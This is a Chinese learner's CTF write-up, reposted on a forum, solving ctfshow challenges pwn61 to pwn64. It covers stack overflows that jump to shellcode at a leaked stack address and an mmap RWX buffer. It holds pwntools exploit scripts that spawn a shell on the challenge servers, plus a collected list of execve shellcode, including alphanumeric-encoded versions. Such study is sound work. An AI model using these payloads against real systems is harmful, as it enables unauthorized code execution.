ToB企服应用市场:ToB评测及商务社交产业平台

标题: ctfshow刷题笔记—栈溢出—pwn61~pwn64 [打印本页]

作者: 钜形不锈钢水箱    时间: 昨天 07:57
标题: ctfshow刷题笔记—栈溢出—pwn61~pwn64
目次
前言
一、pwn61(输出了什么?)
二、pwn62(短了一点)
三、pwn63(又短了一点)  
四、pwn64(有时间开启某种保护并不代表这条路不通)
五、一些shellcode

前言

这几道都是与shellcode有关的题,实在是不会写,还是试了试,记载一下,收集了一些shellcode。

一、pwn61(输出了什么?)

checksec 一下:
  1. ┌──(kali㉿kali)-[~/桌面/ctfshoww]
  2. └─$ checksec --file=pwn61
  3. [*] '/home/kali/桌面/ctfshoww/pwn61'
  4.     Arch:       amd64-64-little
  5.     RELRO:      Partial RELRO
  6.     Stack:      No canary found
  7.     NX:         NX unknown - GNU_STACK missing
  8.     PIE:        PIE enabled
  9.     Stack:      Executable
  10.     RWX:        Has RWX segments
  11. Stripped:   No
复制代码
开了地点随机化。

现在先看一下main函数

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3.   __int64 v4; // [sp+0h] [bp-10h]@1
  4.   __int64 v5; // [sp+8h] [bp-8h]@1
  5.   v4 = 0LL;
  6.   v5 = 0LL;
  7.   setvbuf(_bss_start, 0LL, 1, 0LL);
  8.   logo();
  9.   puts("Welcome to CTFshow!");
  10.   printf("What's this : [%p] ?\n", &v4, 0LL, 0LL);
  11.   puts("Maybe it's useful ! But how to use it?");
  12.   gets(&v4);
  13.   return 0;
  14. }
复制代码
主要是打印logo信息,值得注意的是会输出一个地点,查看一下v4:

0x10+x08,我们写入shellcode以后,通过返回v4的地点取让步调执行shellcode

当地运行一下:
  1. Welcome to CTFshow!
  2. What's this : [0x7ffdb824c790] ?
  3. Maybe it's useful ! But how to use it?
复制代码
v4ar=0x7ffd9de01430

一开始我就是这样写的:

  1. from pwn import *
  2. context.log_level='debug'
  3. context.arch='amd64'
  4. p=remote("pwn.challenge.ctf.show",28164)
  5. pad=b'a'*(0x10+0x8)
  6. v4ar=0x7ffdb824c790
  7. shellcode=asm(shellcraft.sh())
  8. payload1=pad+p64(v4ar)+shellcode
  9. p.sendline(payload1)
  10. p.interactive()
复制代码
发现打不通,好像忽略了一些东西,于是去读了大佬们的文章。

碰到的一个问题是shellcode太长,超出了v4,v5的范围,这是为什么呢?


Shellcode 的长度通常会超过 v5 的空间(8 字节)。如果直接覆盖 v5,Shellcode 的部分内容可能会被截断。此外,leave ret 之后,步调可能会跳转到一个无效地点,导致崩溃。


去搜索了一下leave

等价于 mov rsp, rbp 和 pop rbp。

它将 rbp 的值赋给 rsp,从而恢复上一个栈帧的栈指针。

然后从栈上弹出 rbp 的值,恢复上一个栈帧的基指针。


所以我们把shellcode写在v5后面就是pad+b’a’*0x8的位置,因为还有一个返回地点的位置.

还有就是输出的地点是动态的,每次不一样。

  1. from pwn import *
  2. context(arch="amd64",log_level="debug")
  3. p=remote("pwn.challenge.ctf.show",28297)
  4. pad=0x10+8
  5. shellcode = asm(shellcraft.sh())
  6. p.recvuntil("What's this : [")        
  7. v5ar = eval(p.recvuntil(b"]",drop=True))   
  8. #drop=True是为去掉"]"
  9. #eval()是将str数据转为整型数据
  10. print(hex(v5ar))
  11. payload=flat([cyclic(pad),v5ar+pad+8,shellcode])
  12. p.sendline(payload)
  13. p.interactive()
复制代码

注意返回地点v5的地点加pad+8,不是填充字符。



二、pwn62(短了一点)

checksec和上一道题差不多:
  1. ┌──(kali㉿kali)-[~/桌面/ctfshoww]
  2. └─$ checksec --file=pwn62
  3. [*] '/home/kali/桌面/ctfshoww/pwn62'
  4.     Arch:       amd64-64-little
  5.     RELRO:      Partial RELRO
  6.     Stack:      No canary found
  7.     NX:         NX unknown - GNU_STACK missing
  8.     PIE:        PIE enabled
  9.     Stack:      Executable
  10.     RWX:        Has RWX segments
  11. Stripped:   No
复制代码
也是地点随机化,提前运行的界面和上一道题差不多,会给一个地点。

拖进ida看一看。

看一下main函数:

  1. int __cdecl main(int argc, const char **argv, const char **envp)
  2. {
  3.   FILE *v3; // rdi@1
  4.   __int64 buf; // [sp+0h] [bp-10h]@1
  5.   __int64 v6; // [sp+8h] [bp-8h]@1
  6.   buf = 0LL;
  7.   v6 = 0LL;
  8.   v3 = _bss_start;
  9.   setvbuf(_bss_start, 0LL, 1, 0LL);
  10.   logo(v3, 0LL);
  11.   puts("Welcome to CTFshow!");
  12.   printf("What's this : [%p] ?\n", &buf, 0LL, 0LL);
  13.   puts("Maybe it's useful ! But how to use it?");
  14.   read(0, &buf, 0x38uLL);
  15.   return 0;
  16. }
复制代码
看一下这个buf:

  1. -0000000000000010 buf             dq ?
  2. -0000000000000008 var_8           dq ?
  3. +0000000000000000  s              db 8 dup(?)
  4. +0000000000000008  r              db 8 dup(?)
复制代码
0x10+0x8

这里的shellcode是有限制的。

  1. from pwn import *
  2. context(arch="amd64",log_level="debug")
  3. p=remote("pwn.challenge.ctf.show",28295)
  4. offset=0x10+0x8
  5. p.recvuntil("[")
  6. buf_ar=eval(p.recvuntil(b"]",drop=True))
  7. print(hex(buf_ar))
  8. shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
  9. payload=offset*b'a'+p64(buf_ar+offset+8)+shellcode
  10. p.sendline(payload)
  11. p.interactive()
复制代码




三、pwn63(又短了一点)  

checksec一下:
  1.   [*] You have the latest version of Pwntools (4.14.0)
  2. [*] '/home/kali/桌面/ctfshoww/pwn63'
  3.     Arch:       amd64-64-little
  4.     RELRO:      Partial RELRO
  5.     Stack:      No canary found
  6.     NX:         NX unknown - GNU_STACK missing
  7.     PIE:        PIE enabled
  8.     Stack:      Executable
  9.     RWX:        Has RWX segments
  10. Stripped:   No
复制代码
开了地点随机化,拖进ida看一看和上一道题有什么区别。

确实有一些变化:
  1. puts("Maybe it's useful ! But how to use it?");
  2.   read(0, &buf, 0x37uLL);
复制代码
看一下buf

  1. -0000000000000010 buf             dq ?
  2. -0000000000000008 var_8           dq ?
  3. +0000000000000000  s              db 8 dup(?)
  4. +0000000000000008  r              db 8 dup(?)
复制代码
0x10+0x8

  1. from pwn import *
  2. context(arch="amd64",log_level="debug")
  3. p=remote("pwn.challenge.ctf.show",28222)
  4. offset=0x10+0x8
  5. p.recvuntil("[")
  6. buf_ar=eval(p.recvuntil(b"]",drop=True))
  7. print(hex(buf_ar))
  8. shell=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
  9. payload=offset*b'a'+p64(buf_ar+offset+8)+shell
  10. p.sendline(payload)
  11. p.interactive()
复制代码



四、pwn64(有时间开启某种保护并不代表这条路不通)

有点意思,先checksec一下:

  1. ┌──(kali㉿kali)-[~/桌面/ctfshoww]
  2. └─$ checksec --file=pwn64
  3. [*] '/home/kali/桌面/ctfshoww/pwn64'
  4.     Arch:       i386-32-little
  5.     RELRO:      Partial RELRO
  6.     Stack:      No canary found
  7.     NX:         NX enabled
  8.     PIE:        No PIE (0x8048000)
  9. Stripped:   No
复制代码
固然开了栈不可执行,但是步调里有不一样的东西:
  1. buf = mmap(0, 0x400u, 7, 34, 0, 0);
复制代码
一开始我也不知道这是什么,查了一下:

mmap 是一个系统调用,用于创建一个内存映射区域。它通常用于以了局景:

·映射文件到内存,以便可以像访问内存一样访问文件内容。

·创建匿名内存区域,用于分配动态内存。

·共享内存,用于进程间通信。

根据之前学的知识,7(port参数)是可读可写的意思,所以,我们任然可以注入shellcode。

void* mmap(void* addr, size_t length, int prot, int flags, int fd, off_t offset);

0x400字节足够我们放下shellcode,总之试一试:
  1. from pwn import *
  2. p=remote("wn.challenge.ctf.show",28201)
  3. shellcode=asm(shellcraft.sh())
  4. payload=shellcode
  5. p.sendline(payload)
  6. p.interactive()
复制代码
打通之后快些ls,因为有定时器,如果想更长一点可以加一段shellcode,但是用处不大,因为我也不太会写shellcode,所以问了问人机了解了一下:
  1. from pwn import *
  2. p=remote("wn.challenge.ctf.show",28201)
  3. alarm_close=asm("""
  4.     mov eax,37
  5.     xor ebx,ebx
  6.     int 0x80
  7. """,arch='i386')
  8. shellcode=asm(shellcraft.sh())
  9. payload=alarm_close+shellcode
  10. p.sendline(payload)
  11. p.interactive()
复制代码


五、一些shellcode

关于shellcode我也不会写,所以去搜了一些shellcode,一般情况下还是能用的。

不可见:

32位段字节shellcode(21字节)

  1. \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
复制代码
64位较短的shellcode(23字节)

  1. \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
复制代码
可见版本(由可见字符构成):

X64:

  1. Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
复制代码
32位:

  1. PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJTKV8MIPR2FU86M3SLIZG2H6O43SX30586OCRCYBNLIM3QBKXDHS0C0EPVOE22IBNFO3CBH5P0WQCK9KQXMK0AA
复制代码

继续学习中......

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4